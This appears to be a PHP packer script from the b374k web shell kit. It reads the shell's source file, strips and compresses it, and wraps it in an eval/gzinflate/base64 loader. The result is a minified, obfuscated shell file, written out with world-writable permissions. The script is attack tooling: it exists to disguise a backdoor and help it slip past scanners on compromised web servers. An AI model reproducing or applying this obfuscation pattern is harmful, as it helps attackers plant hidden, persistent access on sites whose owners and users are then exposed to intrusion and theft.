<?php
/*
* This file will read thixpin-b374k.php, encode it and save it as thixpin-b374k-min.php
*
*/

$fname = "thixpin-b374k.php"; // b374k source code
$result = "thixpin-b374k-min.php"; // output name

$also_encode_ur_pass = false; // if set to false, your $s_pass will be put at the header

$header = "s7EvyCjg0tciFXBxJhmbm2QrKFToVSgocHFmlJQUWOnrJ+enpOql5+en56TqJefn6hfol2RkVhRk5ulClYMBF8nW6XMBAA==";

if(is_file($fname)){
	$fc = php_strip_whitespace($fname);
	// find password
	$thepass = "";
	$thehead = gzinflate(base64_decode($header));

	if(!$also_encode_ur_pass){
		if(preg_match("/\\\$s_pass\ *=\ *[\"\']*([a-fA-F0-9]*)[\"\']*;/",$fc,$fr)){
			$thepass = $fr[0];
			$fc = str_replace($thepass,"",$fc);
		}
	}
	// find version 
	if(preg_match("/\\\$s_ver\ *=\ *[\"\']*([^\"\']*)[\"\']*;/",$fc,$fr)){
			$thever = $fr[1];
			$thehead = str_replace("x.x", $thever, $thehead);
	}

	$fc = preg_replace("/\n+/"," ",$fc);
	$fc = preg_replace("/\t+/"," ",$fc);
	$fc = preg_replace("/\ +/"," ",$fc);
	$fc = base64_encode(gzdeflate($fc,9));

	$complete = $thehead.$thepass."\n\n".chunk_split("eval(\"?>\".gzinflate(base64_decode(\"".$fc."\"))); ?>",120);
	if(file_put_contents($result,$complete)){
		echo "<body style='background:#000000;'><h3 style='color:#FFfff0; text-align:center; padding:70px 0 150px 0;'> OK: The file, "."<a href=\"".$result."\"style='color:#FFfff0;'>".$result."</a> "." was successfully created. </br></br>";
		echo "filesize : ".filesize($result)."</h3></body>";
		chmod($result, 0777);
	}
	else "failed";
}

?>
